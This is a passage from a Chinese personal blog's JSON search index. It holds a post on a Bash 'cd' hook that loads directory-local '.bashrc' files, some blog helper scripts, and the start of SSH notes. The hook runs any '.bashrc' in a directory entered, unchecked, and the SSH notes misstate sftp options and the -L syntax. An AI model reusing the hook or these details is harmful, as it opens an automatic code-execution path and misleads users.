href=\"mailto:dang@fprintf.net\"\u003edang@fprintf.net\u003c/a\u003e\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Vim%E5%A4%87%E5%BF%98%E5%BD%95/"},{"title":"基于Bash的目录级环境配置工具","time":"2023-09-26T15:46:55Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e最近对于Bash愈发迷恋,几乎任何会花费我超过30秒时间的任务,我都会考虑\u003cdel\u003e打个脚先\u003c/del\u003e写个脚本搞定。再比如说写博客,这种纯输出流就很适合Vim啊,作为一个Vim\u003cdel\u003e批\u003c/del\u003e必然是原教旨主义最好啊:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230926235753.png\" alt=\"算了截图还是用Obsidian粘吧\"/\u003e\u003c/p\u003e\u003cp\u003e但是除了截图粘贴不方便外,还有一些比较难受的地方。在Obsidian里边我是能直接用插件的各种功能快速编写博客的,虽然在Bash终端环境下编写脚本确实更方便了,但是脚本一多,目录就乱的不能看力:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 强迫症是病,得治\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e.\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── about\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── _archive\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── deploy.sh\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── _draft\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── how-much-did-i-write.sh\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── img\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── img-uri-process.sh\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── _inbox\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── links\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── new-post.sh\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── _posts\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e└── _scaffolds\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9 directories, 4 files\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e三个脚本,一个是统计字数的,一个是用\u003ccode\u003esed\u003c/code\u003e处理图片链接的,还有一个是从模板新建博客的。每次打开目录看到这仨在中间总觉得很别扭。\u003c/p\u003e\u003cp\u003e除了这,还有就是用起来也不方便:前面要是不加\u003ccode\u003e./\u003c/code\u003e就能直接用就好了\u003cdel\u003e懒也是病得治\u003c/del\u003e\u003c/p\u003e\u003cp\u003e所以,需求大概就是这样:目录级别的环境变量配置,并且支持还得够完善,不能离开目录了配置还在生效,不然脚本在其他目录跑飞了想想就恐怖。\u003c/p\u003e\u003ch2 id=\"Basic-Implementation\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/26/%E5%9F%BA%E4%BA%8EBash%E7%9A%84%E7%9B%AE%E5%BD%95%E7%BA%A7%E7%8E%AF%E5%A2%83%E9%85%8D%E7%BD%AE%E5%B7%A5%E5%85%B7/#Basic-Implementation\" class=\"headerlink\" title=\"Basic Implementation\"\u003e\u003c/a\u003eBasic Implementation\u003c/h2\u003e\u003cp\u003e首先定位清楚,这个对\u003ccode\u003ecd\u003c/code\u003e的Hook只是在指令完成后,加载或者取消配置局部环境变量。因此大概实现方式和结构都有合适的选择。\u003c/p\u003e\u003cul\u003e\u003cli\u003e程序扔\u003ccode\u003e~/.bashrc\u003c/code\u003e里,或者\u003ccode\u003e/etc/profile\u003c/code\u003e里。不过我一般在GUI用konsole比较多,所以就放\u003ccode\u003e.bashrc\u003c/code\u003e里了,也方便dotfile管理。\u003c/li\u003e\u003cli\u003e把具体实现用\u003ccode\u003ealias\u003c/code\u003e赋别名为\u003ccode\u003ecd\u003c/code\u003e达到重载(或者说Hook)\u003ccode\u003ecd\u003c/code\u003e的目的。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e基于上面这两条,这是我写一个粗略实现(没干掉bash基本使用就是能用\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"title\"\u003ecd_hook\u003c/span\u003e\u003c/span\u003e() {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e# The normal cd\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e [ \u003cspan class=\"variable\"\u003e$#\u003c/span\u003e == 0 ]; \u003cspan class=\"keyword\"\u003ethen\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$1\u003c/span\u003e\u0026#34;\u003c/span\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efi\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e# If the dir contains bashrc, launch the sub shell and load it\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e [ -f \u003cspan class=\"string\"\u003e\u0026#34;.bashrc\u0026#34;\u003c/span\u003e ] \u0026amp;\u0026amp; [ \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"subst\"\u003e$(pwd)\u003c/span\u003e\u0026#34;\u003c/span\u003e != \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"subst\"\u003e$(getent passwd $USER | awk -F \u0026#39;:\u0026#39; \u0026#39;{print $6}\u0026#39;)\u003c/span\u003e\u0026#34;\u003c/span\u003e ]; \u003cspan class=\"keyword\"\u003ethen\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003epushd\u003c/span\u003e . \u0026gt; /dev/null\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e bash --init-file \u0026lt;(\u003cspan class=\"built_in\"\u003ecat\u003c/span\u003e /etc/profile ~/.bashrc .bashrc)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efi\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003ealias\u003c/span\u003e \u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#39;cd_hook\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面有依托用来检测是否是家目录的指令来避免套娃(虽然理论上充重复加载家目录配置应该没啥),然后是检测当前目录下(因为是先\u003ccode\u003ecd\u003c/code\u003e过去的嘛,所以\u003ccode\u003epwd\u003c/code\u003e已经变了)是否有\u003ccode\u003e.bashrc\u003c/code\u003e,有的话就把它作为子参数,和家目录下的bashrc一起传给子bash,然后启动它。\u003c/p\u003e\u003cp\u003e这样就能实现cd后自动加载目录下的配置了。赶紧试试:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# My blog\u0026#39;s utiilties and aliases\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eset\u003c/span\u003e -e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eTMPL=$(find ./_scaffolds | grep .md)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"title\"\u003edeploy\u003c/span\u003e\u003c/span\u003e() {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e ..\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e (\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003erm\u003c/span\u003e -rf deploy \u0026amp;\u0026amp; \u003cspan class=\"built_in\"\u003ecp\u003c/span\u003e -r blog deploy\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e deploy \u0026amp;\u0026amp; git checkout deploy\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ecp\u003c/span\u003e -r blog deploy/source\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e deploy \u0026amp;\u0026amp; pnpm i \u0026amp;\u0026amp; pnpm run server\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e )\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"title\"\u003eimage_url_proc\u003c/span\u003e\u003c/span\u003e() {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e find . -\u003cspan class=\"built_in\"\u003etype\u003c/span\u003e f -name \u003cspan class=\"string\"\u003e\u0026#34;*.md\u0026#34;\u003c/span\u003e -\u003cspan class=\"built_in\"\u003eexec\u003c/span\u003e sed -i \u003cspan class=\"string\"\u003e\u0026#39;s/\\!\\[\\[\\(.*\\)\\/\\(.*\\)\\]\\]/\\!\\[\\2\\]\\(\\/img\\/\\2\\)/gi\u0026#39;\u003c/span\u003e {}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"title\"\u003enew_post\u003c/span\u003e\u003c/span\u003e() {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sed -e \u003cspan class=\"string\"\u003e\u0026#34;s/{{title}}/\u003cspan class=\"variable\"\u003e$1\u003c/span\u003e/\u0026#34;\u003c/span\u003e -e \u003cspan class=\"string\"\u003e\u0026#34;s/{{date}} {{time}}/\u003cspan class=\"subst\"\u003e$(date \u0026#39;+%Y-%m-%d %H:%M:%S\u0026#39;)\u003c/span\u003e/\u0026#34;\u003c/span\u003e \u003cspan class=\"variable\"\u003e$TMPL\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"title\"\u003eline_count\u003c/span\u003e\u003c/span\u003e() {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eecho\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;You have wrote \u003cspan class=\"subst\"\u003e$(find _* -name *.md | xargs cat 2\u0026gt;/dev/null | wc -l)\u003c/span\u003e lines in total!\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003ecd到目录里边试试\u003ccode\u003eline_count\u003c/code\u003e:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003exeonds@ark-station-breeze:~/Documents/blog$ line_count\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eYou have wrote 36570 lines \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e total!\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003exeonds@ark-station-breeze:~/Documents/blog$ \u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e好好好,再看看目录结构:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e.\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── .bashrc\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── about\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── _archive\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── _draft\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── img\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── _inbox\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── links\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── _posts\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e└── _scaffolds\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e 9 directories, 1 files\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e爽死。\u003c/p\u003e\u003cp\u003e慢着,里边还有一行\u003ccode\u003epushd\u003c/code\u003e呢。嗯,这是后面用来实现自动退出子Shell的关键。具体实现等到下一部分再说吧,先睡了。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003exeonds - Completed at Wed 27 Sep 2023 12:48:45 AM CST\u003c/p\u003e\u003c/blockquote\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/09/26/%E5%9F%BA%E4%BA%8EBash%E7%9A%84%E7%9B%AE%E5%BD%95%E7%BA%A7%E7%8E%AF%E5%A2%83%E9%85%8D%E7%BD%AE%E5%B7%A5%E5%85%B7/"},{"title":"SSH学习笔记","time":"2023-09-25T06:16:18Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003eOpenSSH 是一种强大的远程登录和数据传输工具,它提供了许多安全功能,如数据加密、身份验证和会话完整性。在本文中,我们将详细介绍 OpenSSH 的基本用法和高级用法。\u003c/p\u003e\u003ch2 id=\"基本用法\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/25/ssh-usage/#%E5%9F%BA%E6%9C%AC%E7%94%A8%E6%B3%95\" class=\"headerlink\" title=\"基本用法\"\u003e\u003c/a\u003e基本用法\u003c/h2\u003e\u003ch3 id=\"1-远程登录\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/25/ssh-usage/#1-%E8%BF%9C%E7%A8%8B%E7%99%BB%E5%BD%95\" class=\"headerlink\" title=\"1. 远程登录\"\u003e\u003c/a\u003e1. 远程登录\u003c/h3\u003e\u003cp\u003eOpenSSH 最基本的用法是远程登录。要使用 OpenSSH 进行远程登录,您需要使用以下命令:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003essh [options] [username]@[hostname] \u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e其中,\u003ccode\u003e[options]\u003c/code\u003e 是可选的参数,例如 \u003ccode\u003e-i\u003c/code\u003e 指定要使用的私钥文件,\u003ccode\u003e-L\u003c/code\u003e 指定要使用的本地端口转发,\u003ccode\u003e-R\u003c/code\u003e 指定要使用的远程端口转发等。\u003ccode\u003e[username]\u003c/code\u003e 是远程主机的用户名,\u003ccode\u003e[hostname]\u003c/code\u003e 是远程主机的主机名或 IP 地址。\u003cbr/\u003e例如,如果您要使用密钥文件 \u003ccode\u003eid_rsa\u003c/code\u003e 登录远程主机 \u003ccode\u003eexample.com\u003c/code\u003e,可以使用以下命令:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003essh -i id_rsa example.com \u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"2-传输文件\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/25/ssh-usage/#2-%E4%BC%A0%E8%BE%93%E6%96%87%E4%BB%B6\" class=\"headerlink\" title=\"2. 传输文件\"\u003e\u003c/a\u003e2. 传输文件\u003c/h3\u003e\u003cp\u003eOpenSSH 还提供了一种安全传输文件的方法,称为 SFTP(SSH 文件传输协议)。要使用 SFTP 传输文件,您需要使用以下命令:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esftp [options] [username]@[hostname] \u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e其中,\u003ccode\u003e[options]\u003c/code\u003e 是可选的参数,例如 \u003ccode\u003e-i\u003c/code\u003e 指定要使用的私钥文件,\u003ccode\u003e-L\u003c/code\u003e 指定要使用的本地端口转发,\u003ccode\u003e-R\u003c/code\u003e 指定要使用的远程端口转发等。\u003ccode\u003e[username]\u003c/code\u003e 是远程主机的用户名,\u003ccode\u003e[hostname]\u003c/code\u003e 是远程主机的主机名或 IP 地址。\u003cbr/\u003e例如,如果您要使用密钥文件 \u003ccode\u003eid_rsa\u003c/code\u003e 将本地文件 \u003ccode\u003efile.txt\u003c/code\u003e 传输到远程主机 \u003ccode\u003eexample.com\u003c/code\u003e,可以使用以下命令:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esftp -i id_rsa example.com \u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"高级用法\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/25/ssh-usage/#%E9%AB%98%E7%BA%A7%E7%94%A8%E6%B3%95\" class=\"headerlink\" title=\"高级用法\"\u003e\u003c/a\u003e高级用法\u003c/h2\u003e\u003ch3 id=\"1-端口转发\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/25/ssh-usage/#1-%E7%AB%AF%E5%8F%A3%E8%BD%AC%E5%8F%91\" class=\"headerlink\" title=\"1. 端口转发\"\u003e\u003c/a\u003e1. 端口转发\u003c/h3\u003e\u003cp\u003eOpenSSH 提供了一种称为端口转发的功能,允许您将本地端口与远程端口进行映射。这使得您可以在本地网络上使用远程服务,而无需将服务暴露给外部网络。要使用端口转发,您需要使用以下命令:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003essh -L [local_port:]local_host [username]@[hostname] \u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e其中,\u003ccode\u003e[local_port]\u003c/code\u003e 是本地端口的名称,\u003ccode\u003elocal_host\u003c/code\u003e 是本地主机的名称或 IP 地址,\u003ccode\u003e[username]\u003c/code\u003e 是远程主机的用户名,\u003ccode\u003e[hostname]\u003c/code\u003e 是远程主机的主机名或 IP 地址。\u003cbr/\u003e例如,如果您要将本地端口 8080 映射到远程主机的 SSH 服务(端口 22),可以使用以下命令:\u003c/p\u003e\u003cfigure class=\"highlight 